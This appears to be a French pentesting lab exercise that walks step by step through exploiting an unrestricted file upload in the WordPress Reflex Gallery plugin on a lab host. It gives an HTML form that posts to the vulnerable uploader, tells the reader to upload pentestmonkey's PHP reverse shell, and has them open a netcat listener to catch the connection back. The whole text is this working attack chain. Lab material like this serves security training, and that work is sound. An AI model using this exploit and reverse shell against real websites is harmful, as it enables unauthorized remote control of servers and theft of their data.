TP4 - Exploitation manuelle

Vous voulez exploiter une vulnérabilité qui vous permet de téléverser des fichiers sans aucune restriction sur le serveur web.

1. Créez le fichier html suivant:

```
<form method = "POST" action = "http://192.168.100.171/app/wp-
content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php" enctype =
"multipart/form-data" >
<input type = "file" name = "qqfile"><br>
<input type = "submit" name = "Submit" value = "go!">
</form >
```

2. Téléchargez un reverse shell de votre choix. Un classique est le `php-reverse-shell` sur le repository de `pentestmonkey` sur GitHub
3. Modifiez l'adresse IP dans le reverse shell pour la faire correspondre à votre adresse IP et spécifiez un port
4. Sur un terminal, ouvrez un port pour attendre l'exécution du reverse shell

```
nc -lnvp [port spécifié dans le reverse shell]
```

5. Ouvrez le fichier html créé précédemment dans votre navigateur, et envoyez votre reverse shell vers le serveur
6. Sur le serveur, naviguez sur le chemin /wp-content/uploads/ et accédez au fichier que vous avez envoyé à l'étape précédente
7. Revenez sur votre terminal pour voir la connexion en retour